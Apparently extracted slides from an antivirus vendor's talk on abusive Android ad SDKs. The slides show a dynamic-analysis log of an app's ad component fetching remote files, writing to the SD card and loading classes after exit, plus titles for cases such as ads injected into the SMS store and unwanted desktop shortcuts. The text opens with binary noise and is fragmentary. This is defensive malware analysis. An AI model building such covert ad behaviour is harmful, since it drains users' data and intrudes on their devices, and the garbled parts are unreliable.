$.w.6.}......i.z...3.....T.#.....Ppq^..'.<.B.ku..&.p..qYwt.Rl.)c.z.;.....bp...v.N..l
```

.apk
.apk
.apk
.apk
5dc6be67f



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◎ 广告件之殇

— 资费消耗—案例四：退出后保持联网

com.kxmo.ddz	System.out	@ADL_Dynamic_Log@URLCREATE http://img3.adpooh.com/appsoft/cpa/1366008353846556.png
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@URLOPNCON http://img3.adpooh.com/appsoft/cpa/1366008353846556.png
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@LOADCLASS java.io.BufferedInputStream
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@LOADCLASS java.io.BufferedInputStream
com.kxmo.ddz	System.out	@ADL_File@FILECREATE /mnt/sdcard/Mi.DwSystem/Images/f2bd1ab6eddf8944279
com.kxmo.ddz	System.out	@ADL_File@FILEOPEN /mnt/sdcard/Mi.DwSystem/Images/f2bd1ab6eddf8944279
com.kxmo.ddz	System.out	@ADL_File@RENAME FROM:/data/data/com.kxmo.ddz/shared_prefs/com.kxmo.d
com.kxmo.ddz	System.out	@ADL_File@FILECREATE /data/data/com.kxmo.ddz/shared_prefs/com.kxmo.d
com.kxmo.ddz	System.out	@ADL_File@FILEDELETE /data/data/com.kxmo.ddz/shared_prefs/com.kxmo.d
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@LOADCLASS java.util.Iterator
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@LOADCLASS java.util.Iterator
com.kxmo.ddz	System.out	@ADL_File@FILEOPEN /mnt/sdcard/Mi.DwSystem/Images/f2bd1ab6eddf8944279
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@LOADCLASS com.daoyoudao.ad.CAdR
com.kxmo.ddz	System.out	@ADL_Dynamic_Log@LOADCLASS com.kxmo.ad.custom.NermS



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◎ 广告件之殇


- 流氓推广—案例五：插入用户短信库的广告



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— 流氓推广—案例六：创建桌面快捷方式



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— 流氓推广—案例七：积分墙广告



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— (非广告的) 案例八: gapp.a



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安全和不安全一直在大家身边，对抗永存

谢谢
愿在反病毒事业上与君共勉

<http://www.antiy.net>
tompan@antiy.com